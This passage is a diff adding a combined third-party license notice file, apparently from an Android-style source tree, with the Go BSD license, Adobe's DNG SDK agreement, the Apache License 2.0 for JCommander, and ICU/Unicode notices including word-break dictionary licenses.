+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+THE SOFTWARE.
+
+======================================================================
+prebuilts/go/linux-x86/LICENSE
+
+Copyright (c) 2009 The Go Authors. All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are
+met:
+
+   * Redistributions of source code must retain the above copyright
+notice, this list of conditions and the following disclaimer.
+   * Redistributions in binary form must reproduce the above
+copyright notice, this list of conditions and the following disclaimer
+in the documentation and/or other materials provided with the
+distribution.
+   * Neither the name of Google Inc. nor the names of its
+contributors may be used to endorse or promote products derived from
+this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+======================================================================
+external/dng_sdk/LICENSE
+
+This product includes DNG technology under license by Adobe Systems
+Incorporated.
+
+DNG SDK License Agreement
+NOTICE TO USER:
+Adobe Systems Incorporated provides the Software and Documentation for use under
+the terms of this Agreement. Any download, installation, use, reproduction,
+modification or distribution of the Software or Documentation, or any
+derivatives or portions thereof, constitutes your acceptance of this Agreement.
+
+As used in this Agreement, "Adobe" means Adobe Systems Incorporated. "Software"
+means the software code, in any format, including sample code and source code,
+accompanying this Agreement. "Documentation" means the documents, specifications
+and all other items accompanying this Agreement other than the Software.
+
+1. LICENSE GRANT
+Software License.  Subject to the restrictions below and other terms of this
+Agreement, Adobe hereby grants you a non-exclusive, worldwide, royalty free
+license to use, reproduce, prepare derivative works from, publicly display,
+publicly perform, distribute and sublicense the Software for any purpose.
+
+Document License.  Subject to the terms of this Agreement, Adobe hereby grants
+you a non-exclusive, worldwide, royalty free license to make a limited number of
+copies of the Documentation for your development purposes and to publicly
+display, publicly perform and distribute such copies.  You may not modify the
+Documentation.
+
+2. RESTRICTIONS AND OWNERSHIP
+You will not remove any copyright or other notice included in the Software or
+Documentation and you will include such notices in any copies of the Software
+that you distribute in human-readable format.
+
+You will not copy, use, display, modify or distribute the Software or
+Documentation in any manner not permitted by this Agreement. No title to the
+intellectual property in the Software or Documentation is transferred to you
+under the terms of this Agreement. You do not acquire any rights to the Software
+or the Documentation except as expressly set forth in this Agreement. All rights
+not granted are reserved by Adobe.
+
+3. DISCLAIMER OF WARRANTY
+ADOBE PROVIDES THE SOFTWARE AND DOCUMENTATION ONLY ON AN "AS IS" BASIS WITHOUT
+WARRANTIES OR CONDITIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING
+WITHOUT LIMITATION ANY WARRANTIES OR CONDITIONS OF TITLE, NON-INFRINGEMENT,
+MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. ADOBE MAKES NO WARRANTY
+THAT THE SOFTWARE OR DOCUMENTATION WILL BE ERROR-FREE. To the extent
+permissible, any warranties that are not and cannot be excluded by the foregoing
+are limited to ninety (90) days.
+
+4. LIMITATION OF LIABILITY
+ADOBE AND ITS SUPPLIERS SHALL NOT BE LIABLE FOR LOSS OR DAMAGE ARISING OUT OF
+THIS AGREEMENT OR FROM THE USE OF THE SOFTWARE OR DOCUMENTATION. IN NO EVENT
+WILL ADOBE BE LIABLE TO YOU OR ANY THIRD PARTY FOR ANY DIRECT, INDIRECT,
+CONSEQUENTIAL, INCIDENTAL, OR SPECIAL DAMAGES INCLUDING LOST PROFITS, LOST
+SAVINGS, COSTS, FEES, OR EXPENSES OF ANY KIND ARISING OUT OF ANY PROVISION OF
+THIS AGREEMENT OR THE USE OR THE INABILITY TO USE THE SOFTWARE OR DOCUMENTATION,
+HOWEVER CAUSED AND UNDER ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+LIABILITY OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE), EVEN IF ADVISED OF THE
+POSSIBILITY OF SUCH DAMAGES. ADOBE'S AGGREGATE LIABILITY AND THAT OF ITS
+SUPPLIERS UNDER OR IN CONNECTION WITH THIS AGREEMENT SHALL BE LIMITED TO THE
+AMOUNT PAID BY YOU FOR THE SOFTWARE AND DOCUMENTATION.
+
+5. INDEMNIFICATION
+If you choose to distribute the Software in a commercial product, you do so with
+the understanding that you agree to defend, indemnify and hold harmless Adobe
+against any losses, damages and costs arising from the claims, lawsuits or other
+legal actions arising out of such distribution.
+
+6. TRADEMARK USAGE
+Adobe and the DNG logo are the trademarks or registered trademarks of Adobe
+Systems Incorporated in the United States and other countries. Such trademarks
+may not be used to endorse or promote any product unless expressly permitted
+under separate agreement with Adobe. For information on how to license the DNG
+logo please go to www.adobe.com.
+
+7. TERM
+Your rights under this Agreement shall terminate if you fail to comply with any
+of the material terms or conditions of this Agreement. If all your rights under
+this Agreement terminate, you will immediately cease use and distribution of the
+Software and Documentation.
+
+8. GOVERNING LAW AND JURISDICTION. This Agreement is governed by the statutes
+and laws of the State of California, without regard to the conflicts of law
+principles thereof. The federal and state courts located in Santa Clara County,
+California, USA, will have non-exclusive jurisdiction over any dispute arising
+out of this Agreement.
+
+9. GENERAL
+This Agreement supersedes any prior agreement, oral or written, between Adobe
+and you with respect to the licensing to you of the Software and Documentation.
+No variation of the terms of this Agreement will be enforceable against Adobe
+unless Adobe gives its express consent in writing signed by an authorized
+signatory of Adobe. If any part of this Agreement is found void and
+unenforceable, it will not affect the validity of the balance of the Agreement,
+which shall remain valid and enforceable according to its terms.
+
+======================================================================
+external/jcommander/LICENSE
+external/jcommander/license.txt
+
+
+                                 Apache License
+                           Version 2.0, January 2004
+                        http://www.apache.org/licenses/
+
+   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+   1. Definitions.
+
+      "License" shall mean the terms and conditions for use, reproduction,
+      and distribution as defined by Sections 1 through 9 of this document.
+
+      "Licensor" shall mean the copyright owner or entity authorized by
+      the copyright owner that is granting the License.
+
+      "Legal Entity" shall mean the union of the acting entity and all
+      other entities that control, are controlled by, or are under common
+      control with that entity. For the purposes of this definition,
+      "control" means (i) the power, direct or indirect, to cause the
+      direction or management of such entity, whether by contract or
+      otherwise, or (ii) ownership of fifty percent (50%) or more of the
+      outstanding shares, or (iii) beneficial ownership of such entity.
+
+      "You" (or "Your") shall mean an individual or Legal Entity
+      exercising permissions granted by this License.
+
+      "Source" form shall mean the preferred form for making modifications,
+      including but not limited to software source code, documentation
+      source, and configuration files.
+
+      "Object" form shall mean any form resulting from mechanical
+      transformation or translation of a Source form, including but
+      not limited to compiled object code, generated documentation,
+      and conversions to other media types.
+
+      "Work" shall mean the work of authorship, whether in Source or
+      Object form, made available under the License, as indicated by a
+      copyright notice that is included in or attached to the work
+      (an example is provided in the Appendix below).
+
+      "Derivative Works" shall mean any work, whether in Source or Object
+      form, that is based on (or derived from) the Work and for which the
+      editorial revisions, annotations, elaborations, or other modifications
+      represent, as a whole, an original work of authorship. For the purposes
+      of this License, Derivative Works shall not include works that remain
+      separable from, or merely link (or bind by name) to the interfaces of,
+      the Work and Derivative Works thereof.
+
+      "Contribution" shall mean any work of authorship, including
+      the original version of the Work and any modifications or additions
+      to that Work or Derivative Works thereof, that is intentionally
+      submitted to Licensor for inclusion in the Work by the copyright owner
+      or by an individual or Legal Entity authorized to submit on behalf of
+      the copyright owner. For the purposes of this definition, "submitted"
+      means any form of electronic, verbal, or written communication sent
+      to the Licensor or its representatives, including but not limited to
+      communication on electronic mailing lists, source code control systems,
+      and issue tracking systems that are managed by, or on behalf of, the
+      Licensor for the purpose of discussing and improving the Work, but
+      excluding communication that is conspicuously marked or otherwise
+      designated in writing by the copyright owner as "Not a Contribution."
+
+      "Contributor" shall mean Licensor and any individual or Legal Entity
+      on behalf of whom a Contribution has been received by Licensor and
+      subsequently incorporated within the Work.
+
+   2. Grant of Copyright License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      copyright license to reproduce, prepare Derivative Works of,
+      publicly display, publicly perform, sublicense, and distribute the
+      Work and such Derivative Works in Source or Object form.
+
+   3. Grant of Patent License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      (except as stated in this section) patent license to make, have made,
+      use, offer to sell, sell, import, and otherwise transfer the Work,
+      where such license applies only to those patent claims licensable
+      by such Contributor that are necessarily infringed by their
+      Contribution(s) alone or by combination of their Contribution(s)
+      with the Work to which such Contribution(s) was submitted. If You
+      institute patent litigation against any entity (including a
+      cross-claim or counterclaim in a lawsuit) alleging that the Work
+      or a Contribution incorporated within the Work constitutes direct
+      or contributory patent infringement, then any patent licenses
+      granted to You under this License for that Work shall terminate
+      as of the date such litigation is filed.
+
+   4. Redistribution. You may reproduce and distribute copies of the
+      Work or Derivative Works thereof in any medium, with or without
+      modifications, and in Source or Object form, provided that You
+      meet the following conditions:
+
+      (a) You must give any other recipients of the Work or
+          Derivative Works a copy of this License; and
+
+      (b) You must cause any modified files to carry prominent notices
+          stating that You changed the files; and
+
+      (c) You must retain, in the Source form of any Derivative Works
+          that You distribute, all copyright, patent, trademark, and
+          attribution notices from the Source form of the Work,
+          excluding those notices that do not pertain to any part of
+          the Derivative Works; and
+
+      (d) If the Work includes a "NOTICE" text file as part of its
+          distribution, then any Derivative Works that You distribute must
+          include a readable copy of the attribution notices contained
+          within such NOTICE file, excluding those notices that do not
+          pertain to any part of the Derivative Works, in at least one
+          of the following places: within a NOTICE text file distributed
+          as part of the Derivative Works; within the Source form or
+          documentation, if provided along with the Derivative Works; or,
+          within a display generated by the Derivative Works, if and
+          wherever such third-party notices normally appear. The contents
+          of the NOTICE file are for informational purposes only and
+          do not modify the License. You may add Your own attribution
+          notices within Derivative Works that You distribute, alongside
+          or as an addendum to the NOTICE text from the Work, provided
+          that such additional attribution notices cannot be construed
+          as modifying the License.
+
+      You may add Your own copyright statement to Your modifications and
+      may provide additional or different license terms and conditions
+      for use, reproduction, or distribution of Your modifications, or
+      for any such Derivative Works as a whole, provided Your use,
+      reproduction, and distribution of the Work otherwise complies with
+      the conditions stated in this License.
+
+   5. Submission of Contributions. Unless You explicitly state otherwise,
+      any Contribution intentionally submitted for inclusion in the Work
+      by You to the Licensor shall be under the terms and conditions of
+      this License, without any additional terms or conditions.
+      Notwithstanding the above, nothing herein shall supersede or modify
+      the terms of any separate license agreement you may have executed
+      with Licensor regarding such Contributions.
+
+   6. Trademarks. This License does not grant permission to use the trade
+      names, trademarks, service marks, or product names of the Licensor,
+      except as required for reasonable and customary use in describing the
+      origin of the Work and reproducing the content of the NOTICE file.
+
+   7. Disclaimer of Warranty. Unless required by applicable law or
+      agreed to in writing, Licensor provides the Work (and each
+      Contributor provides its Contributions) on an "AS IS" BASIS,
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+      implied, including, without limitation, any warranties or conditions
+      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+      PARTICULAR PURPOSE. You are solely responsible for determining the
+      appropriateness of using or redistributing the Work and assume any
+      risks associated with Your exercise of permissions under this License.
+
+   8. Limitation of Liability. In no event and under no legal theory,
+      whether in tort (including negligence), contract, or otherwise,
+      unless required by applicable law (such as deliberate and grossly
+      negligent acts) or agreed to in writing, shall any Contributor be
+      liable to You for damages, including any direct, indirect, special,
+      incidental, or consequential damages of any character arising as a
+      result of this License or out of the use or inability to use the
+      Work (including but not limited to damages for loss of goodwill,
+      work stoppage, computer failure or malfunction, or any and all
+      other commercial damages or losses), even if such Contributor
+      has been advised of the possibility of such damages.
+
+   9. Accepting Warranty or Additional Liability. While redistributing
+      the Work or Derivative Works thereof, You may choose to offer,
+      and charge a fee for, acceptance of support, warranty, indemnity,
+      or other liability obligations and/or rights consistent with this
+      License. However, in accepting such obligations, You may act only
+      on Your own behalf and on Your sole responsibility, not on behalf
+      of any other Contributor, and only if You agree to indemnify,
+      defend, and hold each Contributor harmless for any liability
+      incurred by, or claims asserted against, such Contributor by reason
+      of your accepting any such warranty or additional liability.
+
+   END OF TERMS AND CONDITIONS
+
+   APPENDIX: How to apply the Apache License to your work.
+
+      To apply the Apache License to your work, attach the following
+      boilerplate notice, with the fields enclosed by brackets "[]"
+      replaced with your own identifying information. (Don't include
+      the brackets!)  The text should be enclosed in the appropriate
+      comment syntax for the file format. We also recommend that a
+      file or class name and description of purpose be included on the
+      same "printed page" as the copyright notice for easier
+      identification within third-party archives.
+
+   Copyright 2012, Cedric Beust
+
+   Licensed under the Apache License, Version 2.0 (the "License");
+   you may not use this file except in compliance with the License.
+   You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+   Unless required by applicable law or agreed to in writing, software
+   distributed under the License is distributed on an "AS IS" BASIS,
+   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+   See the License for the specific language governing permissions and
+   limitations under the License.
+
+
+======================================================================
+external/icu/NOTICE
+
+COPYRIGHT AND PERMISSION NOTICE (ICU 58 and later)
+
+Copyright © 1991-2018 Unicode, Inc. All rights reserved.
+Distributed under the Terms of Use in http://www.unicode.org/copyright.html.
+
+Permission is hereby granted, free of charge, to any person obtaining
+a copy of the Unicode data files and any associated documentation
+(the "Data Files") or Unicode software and any associated documentation
+(the "Software") to deal in the Data Files or Software
+without restriction, including without limitation the rights to use,
+copy, modify, merge, publish, distribute, and/or sell copies of
+the Data Files or Software, and to permit persons to whom the Data Files
+or Software are furnished to do so, provided that either
+(a) this copyright and permission notice appear with all copies
+of the Data Files or Software, or
+(b) this copyright and permission notice appear in associated
+Documentation.
+
+THE DATA FILES AND SOFTWARE ARE PROVIDED "AS IS", WITHOUT WARRANTY OF
+ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE
+WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+NONINFRINGEMENT OF THIRD PARTY RIGHTS.
+IN NO EVENT SHALL THE COPYRIGHT HOLDER OR HOLDERS INCLUDED IN THIS
+NOTICE BE LIABLE FOR ANY CLAIM, OR ANY SPECIAL INDIRECT OR CONSEQUENTIAL
+DAMAGES, OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE,
+DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER
+TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
+PERFORMANCE OF THE DATA FILES OR SOFTWARE.
+
+Except as contained in this notice, the name of a copyright holder
+shall not be used in advertising or otherwise to promote the sale,
+use or other dealings in these Data Files or Software without prior
+written authorization of the copyright holder.
+
+---------------------
+
+Third-Party Software Licenses
+
+This section contains third-party software notices and/or additional
+terms for licensed third-party software components included within ICU
+libraries.
+
+1. ICU License - ICU 1.8.1 to ICU 57.1
+
+COPYRIGHT AND PERMISSION NOTICE
+
+Copyright (c) 1995-2016 International Business Machines Corporation and others
+All rights reserved.
+
+Permission is hereby granted, free of charge, to any person obtaining
+a copy of this software and associated documentation files (the
+"Software"), to deal in the Software without restriction, including
+without limitation the rights to use, copy, modify, merge, publish,
+distribute, and/or sell copies of the Software, and to permit persons
+to whom the Software is furnished to do so, provided that the above
+copyright notice(s) and this permission notice appear in all copies of
+the Software and that both the above copyright notice(s) and this
+permission notice appear in supporting documentation.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT
+OF THIRD PARTY RIGHTS. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR
+HOLDERS INCLUDED IN THIS NOTICE BE LIABLE FOR ANY CLAIM, OR ANY
+SPECIAL INDIRECT OR CONSEQUENTIAL DAMAGES, OR ANY DAMAGES WHATSOEVER
+RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF
+CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN
+CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
+
+Except as contained in this notice, the name of a copyright holder
+shall not be used in advertising or otherwise to promote the sale, use
+or other dealings in this Software without prior written authorization
+of the copyright holder.
+
+All trademarks and registered trademarks mentioned herein are the
+property of their respective owners.
+
+2. Chinese/Japanese Word Break Dictionary Data (cjdict.txt)
+
+ #     The Google Chrome software developed by Google is licensed under
+ # the BSD license. Other software included in this distribution is
+ # provided under other licenses, as set forth below.
+ #
+ #  The BSD License
+ #  http://opensource.org/licenses/bsd-license.php
+ #  Copyright (C) 2006-2008, Google Inc.
+ #
+ #  All rights reserved.
+ #
+ #  Redistribution and use in source and binary forms, with or without
+ # modification, are permitted provided that the following conditions are met:
+ #
+ #  Redistributions of source code must retain the above copyright notice,
+ # this list of conditions and the following disclaimer.
+ #  Redistributions in binary form must reproduce the above
+ # copyright notice, this list of conditions and the following
+ # disclaimer in the documentation and/or other materials provided with
+ # the distribution.
+ #  Neither the name of  Google Inc. nor the names of its
+ # contributors may be used to endorse or promote products derived from
+ # this software without specific prior written permission.
+ #
+ #
+ #  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND
+ # CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES,
+ # INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
+ # MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ # DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
+ # LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
+ # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
+ # BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
+ # LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+ # NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ # SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ #
+ #
+ #  The word list in cjdict.txt are generated by combining three word lists
+ # listed below with further processing for compound word breaking. The
+ # frequency is generated with an iterative training against Google web
+ # corpora.
+ #
+ #  * Libtabe (Chinese)
+ #    - https://sourceforge.net/project/?group_id=1519
+ #    - Its license terms and conditions are shown below.
+ #
+ #  * IPADIC (Japanese)
+ #    - http://chasen.aist-nara.ac.jp/chasen/distribution.html
+ #    - Its license terms and conditions are shown below.
+ #
+ #  ---------COPYING.libtabe ---- BEGIN--------------------
+ #
+ #  /*
+ #   * Copyright (c) 1999 TaBE Project.
+ #   * Copyright (c) 1999 Pai-Hsiang Hsiao.
+ #   * All rights reserved.
+ #   *
+ #   * Redistribution and use in source and binary forms, with or without
+ #   * modification, are permitted provided that the following conditions
+ #   * are met:
+ #   *
+ #   * . Redistributions of source code must retain the above copyright
+ #   *   notice, this list of conditions and the following disclaimer.
+ #   * . Redistributions in binary form must reproduce the above copyright
+ #   *   notice, this list of conditions and the following disclaimer in
+ #   *   the documentation and/or other materials provided with the
+ #   *   distribution.
+ #   * . Neither the name of the TaBE Project nor the names of its
+ #   *   contributors may be used to endorse or promote products derived
+ #   *   from this software without specific prior written permission.
+ #   *
+ #   * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ #   * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ #   * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+ #   * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+ #   * REGENTS OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
+ #   * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ #   * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ #   * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ #   * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+ #   * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+ #   * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+ #   * OF THE POSSIBILITY OF SUCH DAMAGE.
+ #   */
+ #
+ #  /*
+ #   * Copyright (c) 1999 Computer Systems and Communication Lab,
+ #   *                    Institute of Information Science, Academia
+ #       *                    Sinica. All rights reserved.
+ #   *
+ #   * Redistribution and use in source and binary forms, with or without
+ #   * modification, are permitted provided that the following conditions
+ #   * are met:
+ #   *
+ #   * . Redistributions of source code must retain the above copyright
+ #   *   notice, this list of conditions and the following disclaimer.
+ #   * . Redistributions in binary form must reproduce the above copyright
+ #   *   notice, this list of conditions and the following disclaimer in
+ #   *   the documentation and/or other materials provided with the
+ #   *   distribution.
+ #   * . Neither the name of the Computer Systems and Communication Lab
+ #   *   nor the names of its contributors may be used to endorse or
+ #   *   promote products derived from this software without specific
+ #   *   prior written permission.
+ #   *
+ #   * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ #   * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ #   * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+ #   * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+ #   * REGENTS OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
+ #   * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ #   * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ #   * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ #   * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+ #   * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+ #   * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+ #   * OF THE POSSIBILITY OF SUCH DAMAGE.
+ #   */
+ #
+ #  Copyright 1996 Chih-Hao Tsai @ Beckman Institute,
+ #      University of Illinois
+ #  c-tsai4@uiuc.edu  http://casper.beckman.uiuc.edu/~c-tsai4
+ #
+ #  ---------------COPYING.libtabe-----END--------------------------------
+ #
+ #
+ #  ---------------COPYING.ipadic-----BEGIN-------------------------------
+ #
+ #  Copyright 2000, 2001, 2002, 2003 Nara Institute of Science
+ #  and Technology.  All Rights Reserved.
+ #
+ #  Use, reproduction, and distribution of this software is permitted.
+ #  Any copy of this software, whether in its original form or modified,
+ #  must include both the above copyright notice and the following
+ #  paragraphs.
+ #
+ #  Nara Institute of Science and Technology (NAIST),
+ #  the copyright holders, disclaims all warranties with regard to this
+ #  software, including all implied warranties of merchantability and
+ #  fitness, in no event shall NAIST be liable for
+ #  any special, indirect or consequential damages or any damages
+ #  whatsoever resulting from loss of use, data or profits, whether in an
+ #  action of contract, negligence or other tortuous action, arising out
+ #  of or in connection with the use or performance of this software.
+ #
+ #  A large portion of the dictionary entries
+ #  originate from ICOT Free Software.  The following conditions for ICOT
+ #  Free Software applies to the current dictionary as well.
+ #
+ #  Each User may also freely distribute the Program, whether in its
+ #  original form or modified, to any third party or parties, PROVIDED
+ #  that the provisions of Section 3 ("NO WARRANTY") will ALWAYS appear
+ #  on, or be attached to, the Program, which is distributed substantially
+ #  in the same form as set out herein and that such intended
+ #  distribution, if actually made, will neither violate or otherwise
+ #  contravene any of the laws and regulations of the countries having
+ #  jurisdiction over the User or the intended distribution itself.
+ #
+ #  NO WARRANTY
+ #
+ #  The program was produced on an experimental basis in the course of the
+ #  research and development conducted during the project and is provided
+ #  to users as so produced on an experimental basis.  Accordingly, the
+ #  program is provided without any warranty whatsoever, whether express,
+ #  implied, statutory or otherwise.  The term "warranty" used herein
+ #  includes, but is not limited to, any warranty of the quality,
+ #  performance, merchantability and fitness for a particular purpose of
+ #  the program and the nonexistence of any infringement or violation of
+ #  any right of any third party.
+ #
+ #  Each user of the program will agree and understand, and be deemed to
+ #  have agreed and understood, that there is no warranty whatsoever for
+ #  the program and, accordingly, the entire risk arising from or
+ #  otherwise connected with the program is assumed by the user.
+ #
+ #  Therefore, neither ICOT, the copyright holder, or any other
+ #  organization that participated in or was otherwise related to the
+ #  development of the program and their respective officials, directors,
+ #  officers and other employees shall be held liable for any and all
+ #  damages, including, without limitation, general, special, incidental
+ #  and consequential damages, arising out of or otherwise in connection
+ #  with the use or inability to use the program or any product, material
+ #  or result produced or otherwise obtained by using the program,
+ #  regardless of whether they have been advised of, or otherwise had
+ #  knowledge of, the possibility of such damages at any time during the
+ #  project or thereafter.  Each user will be deemed to have agreed to the
+ #  foregoing by his or her commencement of use of the program.  The term
+ #  "use" as used herein includes, but is not limited to, the use,
+ #  modification, copying and distribution of the program and the
+ #  production of secondary products from the program.
+ #
+ #  In the case where the program, whether in its original form or
+ #  modified, was distributed or delivered to or received by a user from
+ #  any person, organization or entity other than ICOT, unless it makes or
+ #  grants independently of ICOT any specific warranty to the user in
+ #  writing, such person, organization or entity, will also be exempted
+ #  from and not be held liable to the user for any such damages as noted
+ #  above as far as the program is concerned.
+ #
+ #  ---------------COPYING.ipadic-----END----------------------------------
+
+3. Lao Word Break Dictionary Data (laodict.txt)
+
+ #  Copyright (c) 2013 International Business Machines Corporation
+ #  and others. All Rights Reserved.
+ #
+ # Project: http://code.google.com/p/lao-dictionary/
+ # Dictionary: http://lao-dictionary.googlecode.com/git/Lao-Dictionary.txt
+ # License: http://lao-dictionary.googlecode.com/git/Lao-Dictionary-LICENSE.txt
+ #              (copied below)
+ #
+ #  This file is derived from the above dictionary, with slight
+ #  modifications.
+ #  ----------------------------------------------------------------------
+ #  Copyright (C) 2013 Brian Eugene Wilson, Robert Martin Campbell.
+ #  All rights reserved.
+ #
+ #  Redistribution and use in source and binary forms, with or without
+ #  modification,
+ #  are permitted provided that the following conditions are met:
+ #
+ #
+ # Redistributions of source code must retain the above copyright notice, this
+ #  list of conditions and the following disclaimer. Redistributions in
+ #  binary form must reproduce the above copyright notice, this list of
+ #  conditions and the following disclaimer in the documentation and/or
+ #  other materials provided with the distribution.
+ #
+ #
+ # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ # "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ # LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+ # FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+ # COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+ # INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ # (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ # SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ # HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+ # STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+ # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+ # OF THE POSSIBILITY OF SUCH DAMAGE.
+ #  --------------------------------------------------------------------------
+
+4. Burmese Word Break Dictionary Data (burmesedict.txt)
+
+ #  Copyright (c) 2014 International Business Machines Corporation
+ #  and others. All Rights Reserved.
+ #
+ #  This list is part of a project hosted at:
+ #    github.com/kanyawtech/myanmar-karen-word-lists
+ #
+ #  --------------------------------------------------------------------------
+ #  Copyright (c) 2013, LeRoy Benjamin Sharon
+ #  All rights reserved.
+ #
